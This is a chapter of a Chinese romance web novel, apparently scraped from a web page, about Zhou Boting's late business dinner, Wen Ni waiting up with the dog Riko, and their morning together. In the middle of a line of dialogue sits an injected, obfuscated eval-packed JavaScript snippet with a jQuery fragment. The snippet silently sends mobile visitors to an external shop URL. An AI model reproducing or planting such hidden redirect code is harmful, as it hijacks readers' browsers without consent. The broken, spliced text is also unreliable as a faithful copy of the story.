晚上有个饭局,周柏梃提前和温旎报备——
【宝贝儿,晚上在山上应酬,结束会很晚,不用等我,你先睡。】
温旎把逛街买的衣服全部理好,洗完澡护完肤上了床才看到这条消息,她一手指尖抵着下巴,一手在手机屏幕上缓缓打出一行字:
【那你别折腾了,应酬完就回园子好好休息,我让范叔吩咐厨房给你做醒酒汤。】
本以为周柏梃在饭局上没工夫回消息,谁知刚把手机放下,屏幕又亮了起来。
周先生:
【不行,白天一整天都没见到你,晚上再不能抱抱你,我睡不着。】
温旎弯了弯唇,放下手机,掀开被子下床,蹲在床边摸了摸香喷喷的小狗头,柔声道:
“妈妈现在还睡不着,要陪妈妈一起等爸爸吗?”
Riko蹭地一下站起来,摇了摇尾巴:“汪!”要!
*
本来今晚秦缙川没打算过来,但马上就是朱应的忌日,这么多年过去了,一到这几天,柏梃心里总是不舒服。
今晚这场饭局特重要,他来多少能帮衬点儿。
“聊什么呢?”
秦缙川手搭在椅背上,目光刚落在周柏梃的手机屏幕上,他啪地把手机往桌面上一扣。
“不给我看我也知道是谁。”他哂笑一声,收回目光在他旁边落座,轻轻撞了下他肩膀,揶揄道,“你们两边儿家里都同意了?”
周柏梃没说话,好半晌才“嗯”了一声。
秦缙川识趣闭嘴,周温两家这事儿,柏梃愣是坚持,能成是肯定能成,但什么时候成还真说不准。
“烧香拜佛有用吗?”
周柏梃嘴上说着不信命,但断掉的香和那支下下签这几天在脑海里始终挥之不去。
“有用。”秦缙川点头,搁下手里茶盏,“杳杳出生时江找人算过,说是体弱多病早夭的命。江家当时吓得连点了好几盏天灯供奉在庙里,杳杳八岁之前虽说多病多灾,鬼门关走了好几遭,但好歹活了下来。”
“后来我让人继续点。”他摊摊手,“你瞧,现在生龙活虎,多健康?”
周柏梃若有所思地看着窗外时隐时现的庙宇,又问:“那改命的代价会报应在谁身上?”
“谁改报应在谁身上呗!”秦缙川满不在乎地耸了耸肩,“反正我命硬,不害怕报应。”
那就行,周柏梃松了口气。
约莫半个小时后,饭局主角陆续登场。
“上海的项目,你处理得很漂亮。”
在周柏梃对面落座、头发略微花白的男人笑着开口。
周柏梃微微一笑:“运气好而已,刚好大家都愿意给面子。”
“年轻人嘛,步子大一点也无妨。”主位的人跟着笑了笑,语气很是温和。
一瞬间,桌上的气压微不可察地低了一度。
周柏梃抬眼,笑意不变:“步子迈得大不大不重要,关键是要稳。”
散场后,冯成祥往他手里塞了杯酒。
“这一杯,你得喝。”他在他耳边悄声说,“中寰大概率以后就交给你了,担子可不小。右青下半年回京,有他辅助你,我们很放心。”
“怎么了?”秦缙川轻声问了一句,目光在冯成祥脸上微顿。
周柏梃摇了摇头:“没事。”
他举杯,一饮而尽,动作干净利落。
*
温旎先开火做了碗醒酒汤,准备找部电影打发时间时,Riko哼哼唧唧扒要去院子里玩儿。
她踩着拖鞋,抱着小家伙下楼。
一到院子,小家伙就开始撒欢儿,害怕她在去池子里捉鱼,她坐在秋千上监督着她,不许她靠近鱼池。
今晚没有月亮,灰蒙蒙的天找不到一丝亮。
小家伙跑累了便趴在她脚边,一动不动盯着大门口的方向。
温旎轻轻晃着秋千,低头看了一眼脚边的小家伙:“Riko,你说爸爸在担忧什么呢?”
小狗听不懂人类世界的复杂,只知道妈妈说一会儿可以见到爸爸。
它把下巴搁在前爪上,耐心地等。
忽然,Riko站起来,尾巴轻轻摇了一下,耳朵朝大门方向转了转。几秒后,门外传来敲门声。咚咚咚——
“温小姐,是我,秦缙川。”
温旎起身去开门。
黑色奥迪停在窄巷里,后座车门敞着。
Riko在门打开的瞬间像一枚小导弹一样冲出去,绕着车边转了两圈,小爪子搭在后座门框上,探着脑袋往车里看,尾巴快摇成螺旋桨了。
“汪汪!”它回头冲温旎叫了两声,妈妈,是爸爸回来了!
秦缙川站在车边,看了看那只狗,又看了看温旎:“诶,柏梃,这狗不是……”话没说完,一道冷沉的目光从后座扫过来。他识趣地收住话头,转向温旎笑了笑,“温小姐,柏梃喝多了,不肯下车,我扯不动他。咱俩一起?”
周柏梃这厮,三十好几了,学会撒娇了。
以他的酒量,今晚那几杯算什么?
温旎不疑有他,点了下头:“好,麻烦了。”
后座昏黄的灯光勾勒出一抹凌厉的轮廓。
周柏梃骨架大,肌肉线条都压在西服底下。她本以为要费一番力气,谁知她刚弯腰探进车里,男人直接把大手往她掌心一搭,乖乖牵着她的手从车上下来了。
秦缙川:“......”
“哈哈,那我先走了。”
他活动了一下酸痛的肩膀,吩咐司机开车。
目送车辆驶出胡同,温旎转身嗅了嗅男人身上的味道,酒精味不是很浓。
她用力捏了捏他掌心。忍俊不禁:“周先生今天怎么这么幼稚?”
男人扯唇一笑,理直气壮道:“他们之前喝多了都有老婆和女朋友去接。”
李政屿、秦缙霖、秦缙川那帮人都是这样,喝多了谁拉都拉不动,只要女朋友和老婆一出现,乖乖跟在人家后面就走了。
他酒量好,喝不醉,但想有人接。
尤其是今晚,在看到院子里亮着灯时,这种欲望达到了顶峰。
“走了Riko,回家!”
两人一狗一起迈上台阶,小狗围着两人跑来跑去,上楼后咬着男人的裤脚把他往厨房拖,冲着料理台汪汪叫了两声。
大理石台面上放着一碗醒酒汤,还微微冒着热气。
周柏梃弯腰把小家伙举起来,掌心托着它的肚子,唇角微扬:“辛苦你和妈妈这么晚还在等爸爸。”
Riko:“嗷呜——”爸爸,我想回有大草坪的房子!
“你的睡衣放在浴室了。”温旎走到吧台前倒了杯温水,仰头咕咚咕咚喝了几口,握着被子侧身看向正逗小狗玩的男人,笑得眉眼弯弯,“你的衣服我都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693752|206288||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
放在衣帽间了,以后不用再麻烦王秘书送。”
“辛苦了宝贝儿。”男人放下Riko,走过来亲她额头,“以后不用等我,你和孩子先睡。”
温旎脸烫了烫,指了指料理台,撂下一句“记得喝醒酒汤”便逃也似的跑回主卧。
周柏梃望着女人慌张的背影,低笑一声,将醒酒汤一饮而尽,快速洗了个澡,掀开被子上床时,边上的人已经迷迷糊糊要睡着了。
许是他身上的水汽熏到了她,温旎睫毛轻颤几下,在他怀里缓缓睁开了眼。
一双温软的眸中盛满了惺忪睡意,软着嗓子问他干什么。他喉头一涩,移开撩进她睡衣的手,把欲望硬生生压下去了。
他克制地亲了亲她的眼睛:“没事,我爱你,睡吧。”
“唔——”女人把头往他颈窝里埋了埋,轻声嘟囔了一句“我也爱你。”
他愣了几秒,回过神来像个傻子一样,抱着她笑个不停。
*
天气预报说周五北京有雨,于是从凌晨三点开始,天像是漏了个洞,下到早上七点时雨势开始收敛一些。
在这儿住了两三天,周柏梃轻车熟路去衣帽间选了一套西服,系好衬衫扣子,从领带架里抽出一条和首饰柜上那只包同色系的领带,轻步返回主卧。
他单膝跪在床边,一手撑在枕边,一手托着女人瓷白漂亮的脸,温哄道:“宝贝儿,帮我打领带好不好?”
女人动了动身子,“唔”了一声,脸蛋儿在他掌心蹭了蹭,侧身把脸埋进枕头里,瓮声瓮气道:“怎么这么早?”
温旎不愿意起身。
这两天周柏梃没应酬,晚上像是疯了一样,缠着她从沙发到床上再到浴室,每次到最后她都是昏睡过去的。
“早上有个会。”周柏梃把领带塞进她手里,手托着她的后腰把他抱在身前,低头在她两只眼睛上各落下一个吻,“麻烦温小姐了。”
领带绕在指间,温旎双手抵在男人弹性十足的胸肌上,上半身往后仰了仰,舒展了一下酸痛不已的腰身。
长发顺势滑落披在肩后,遮住了肩胛骨和腰窝四周星星点点的红痕。
“哪来这么多精力......”她嘟囔一句,手指在浅蓝色领带间翻飞,快速打好一个漂亮的温莎结。
她拍了拍他的肩膀:“好了,周先生快去上班吧!”
周柏梃捉住他的手腕,亲她指尖:
“今晚还在山上应酬,我爸也在,晚上山上要戒严,我得在山上过夜。”
“那我让范叔给你做醒酒汤。”她指尖点在他右眼上方高耸的眉骨上,轻轻揉了揉。
周柏梃沉默几秒,抬手握住她手腕,薄白的眼皮轻撩,黑白分明的眸中映出她的影子。
他说:“旎旎,你要不要带着Riko提前上山?”
她稳下心神,声音如常:“今天几号了?”
“23号。”男人眼睫低垂,面色平静。
温旎偏头看了眼窗外黑沉沉的天空,在心里无奈叹了口气。
她摸了摸他的脑袋,慢条斯理道:
“不行哦周先生。”
男人双手攥成拳,无声砸在被子里,指节泛着白,薄唇抿成一条直线,脊背紧绷着。
沉默了一会儿,他肩颈骤然放松,抬手揉了揉她的脑袋,连问她去做什么都不问,只缓声道:“好,你再睡会儿,我先走了。”